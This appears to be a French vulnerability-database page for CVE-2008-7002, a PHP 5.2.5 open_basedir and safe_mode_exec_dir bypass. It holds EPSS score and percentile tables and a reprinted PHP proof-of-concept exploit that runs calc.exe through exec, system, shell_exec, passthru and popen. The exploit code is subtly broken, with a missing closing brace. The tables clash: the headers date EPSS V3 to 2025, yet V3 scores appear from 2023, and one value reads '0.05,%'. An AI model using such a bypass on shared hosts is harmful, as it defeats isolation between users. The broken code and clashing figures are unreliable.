CVE-2008-7002 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	1.76%	–	–
2022-03-27	–	–	1.76%	–	–
2022-04-03	–	–	1.76%	–	–
2022-04-17	–	–	1.76%	–	–
2022-08-28	–	–	1.76%	–	–
2023-03-05	–	–	1.76%	–	–
2023-03-12	–	–	–	0.05%	–
2023-03-19	–	–	–	0.05%	–
2023-04-09	–	–	–	0.05%	–
2023-04-16	–	–	–	0.04%	–
2024-02-11	–	–	–	0.04%	–
2024-02-25	–	–	–	0.04%	–
2024-04-07	–	–	–	0.04%	–
2024-06-02	–	–	–	0.04%	–
2024-07-21	–	–	–	0.04%	–
2024-08-04	–	–	–	0.04%	–
2024-08-11	–	–	–	0.04%	–
2024-09-22	–	–	–	0.04%	–
2025-01-19	–	–	–	0.04%	–
2025-03-18	–	–	–	–	0.05%
2025-03-30	–	–	–	–	0.05%
2025-04-06	–	–	–	–	0.05%
2025-04-14	–	–	–	–	0.05%
2025-04-14	–	–	–	–	0.05,%

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Date	Percentile
2022-02-06	54%
2022-03-27	55%
2022-04-03	74%
2022-04-17	75%
2022-08-28	76%
2023-03-05	77%
2023-03-12	17%
2023-03-19	16%
2023-04-09	17%
2023-04-16	–
2024-02-11	1%
2024-02-25	11%
2024-04-07	12%
2024-06-02	13%
2024-07-21	14%
2024-08-04	13%
2024-08-11	14%
2024-09-22	–
2025-01-19	–
2025-03-18	13%
2025-03-30	12%
2025-04-06	13%
2025-04-14	12%
2025-04-14	12%

source: https://www.securityfocus.com/bid/31064/info PHP is prone to 'safe_mode_exec_dir' and 'open_basedir' restriction-bypass vulnerabilities. Successful exploits could allow an attacker to execute arbitrary code. These vulnerabilities would be an issue in shared-hosting configurations where multiple users can create and execute arbitrary PHP script code; in such cases, the 'safe_mode' and 'open_basedir' restrictions are expected to isolate users from each other. PHP 5.2.5 is vulnerable; other versions may also be affected. <?php print_r('---------------------------------------------------------------------------------------- PHP 5.2.5 Multiple Function "open_basedir" and "safe_mode_exec_dir" Restriction Bypass ---------------------------------------------------------------------------------------- ------------------------------------- author: Ciph3r mail: Ciph3r_blackhat@yahoo.com site: www.expl0iters.ir S4rK3VT Hacking TEAM we are : Ciph3r & Rake Sp Tanx2 : Iranian Hacker & kurdish Security TEAM ------------------------------------- ------------------------------------- Remote execution: No Local execution: Yes ------------------------------------- --------------------------------------------- PHP.INI settings: safe_mode = Off disable_functions = open_basedir = htdocs <-- bypassed safe_mode_exec_dir = htdocs <-- bypassed --------------------------------------------- ------------------------------------------------------------------------------------------- Description: Functions "exec", "system", "shell_exec", "passthru", "popen", if invoked from local, are not properly checked and bypass "open_basedir" and "safe_mode_exec_dir" restrictions: ------------------------------------------------------------------------------------------- '); $option = $argv[1]; if ($option=="1"){ exec('c:/windows/system32/calc.exe'); echo '"exec" test completed'; elseif($option=="2"){ system('c:/windows/system32/calc.exe'); echo '"system" test completed'; } elseif($option=="3"){ shell_exec('c:/windows/system32/calc.exe'); echo '"shell_exec test" completed'; } elseif($option=="4"){ passthru('c:/windows/system32/calc.exe'); echo '"passthru" test completed'; } elseif($option=="5"){ popen('c:/windows/system32/calc.exe','r'); echo '"popen" test completed'; } elseif($option==6){ exec('c:/windows/system32/calc.exe'); echo "exec test completed\n"; system('c:/windows/system32/calc.exe'); echo "system test completed\n"; shell_exec('c:/windows/system32/calc.exe'); echo "shell_exec test completed\n"; passthru('c:/windows/system32/calc.exe'); echo "passthru test completed\n"; popen('c:/windows/system32/calc.exe','r'); echo "popen test completed\n"; } else{ print_r('-------------------------------------- Usage: php poc.php 1 => for "exec" test php poc.php 2 => for "system" test php poc.php 3 => for "shell_exec" test php poc.php 4 => for "passthru" test php poc.php 5 => for "popen" test php poc.php 6 => for "all in one" test -------------------------------------- '); } ?>